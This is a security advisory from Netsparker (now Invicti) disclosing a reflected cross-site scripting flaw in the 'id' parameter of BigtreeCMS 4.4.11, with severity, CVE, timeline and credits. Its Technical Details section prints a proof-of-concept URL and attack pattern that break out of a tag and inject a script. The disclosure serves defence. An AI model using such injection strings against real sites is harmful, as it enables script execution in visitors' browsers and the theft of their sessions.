Information
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Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in BigtreeCMS
Affected Software: BigtreeCMS
Affected Versions: 4.4.11
Vendor Homepage: https://www.bigtreecms.org/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2020-995566
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-20-004

Technical Details
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URL: http://mylocalhost/site/index.php/admin/js/embeddable-form.js?hash=&id='"--></style></scRipt><scRipt>alert(0x00E4E5)</scRipt>
Parameter Name: id
Parameter Type: GET  
Attack Pattern:    '"--></style></scRipt><scRipt>alert(2)</scRipt  

Note: This vulnerability is reproducible at Internet Explorer due to mime type sniffing.

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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 21st November 2020 - First Contact
 2nd December 2020 - Vendor Fixed
 10th December 2020 - Advisory Released

Credits & Authors
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These issues have been discovered by Mustafa Yalçın while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.